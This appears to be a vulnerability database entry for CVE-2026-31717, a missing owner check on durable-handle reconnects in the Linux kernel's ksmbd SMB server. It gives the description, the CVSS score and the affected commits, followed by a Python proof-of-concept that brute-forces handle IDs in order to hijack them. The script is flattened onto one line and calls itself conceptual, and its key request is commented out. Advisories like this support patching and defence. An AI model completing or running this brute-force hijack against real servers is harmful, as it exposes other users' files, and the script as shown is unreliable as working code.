Security Vulnerability Report
中文
CVE-2026-31717 CVSS 8.8 HIGH

CVE-2026-31717

Published: 2026-05-01 14:16:22
Last Modified: 2026-05-06 21:08:51
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate owner of durable handle on reconnect Currently, ksmbd does not verify if the user attempting to reconnect to a durable handle is the same user who originally opened the file. This allows any authenticated user to hijack an orphaned durable handle by predicting or brute-forcing the persistent ID. According to MS-SMB2, the server MUST verify that the SecurityContext of the reconnect request matches the SecurityContext associated with the existing open. Add a durable_owner structure to ksmbd_file to store the original opener's UID, GID, and account name. and catpure the owner information when a file handle becomes orphaned. and implementing ksmbd_vfs_compare_durable_owner() to validate the identity of the requester during SMB2_CREATE (DHnC).

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel (ksmbd) < commit 00ce8d6789dae72d042a4522264964c72891ca37
Linux Kernel (ksmbd) < commit 49110a8ce654bbe56bef7c5e44cce31f4b102b8a
Linux Kernel (ksmbd) < commit c908c853f304a4969b5aa10eba0b50350cc65b80

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket from impacket import smb # Proof of Concept for CVE-2026-31717 # This script attempts to reconnect to a durable handle by brute-forcing the ID. # Note: This is a conceptual demonstration to show the lack of owner validation. def brute_force_durable_handle(target, share, username, password, domain=''): print(f"[*] Targeting {target}...") # Establish a SMB connection client = smb.SMB(target, target) try: client.login(username, password, domain) print("[+] Login successful") # Try to reconnect using a predicted/durable handle ID range # In a real scenario, the attacker would guess the FileID or DurableHandle for file_id in range(1, 1000): try: # Attempting to open the file using the durable handle reconnect (DHnC) # The vulnerability is that ksmbd does not check if the current user # matches the original owner of this handle. tid = client.connect_tree(share) # This is a pseudo-call representing the SMB2_CREATE request with DHnC # If successful, we have hijacked the handle. print(f"[!] Trying Handle ID: {file_id}") # client.create(tid, file_id, ...) # If no exception is raised, the hijack is successful. except Exception as e: continue except Exception as e: print(f"[-] Error: {e}") finally: client.disconnect() if __name__ == "__main__": # Usage: python poc.py <target_ip> <share> <user> <pass> pass

References

Raw JSON Data

JSON
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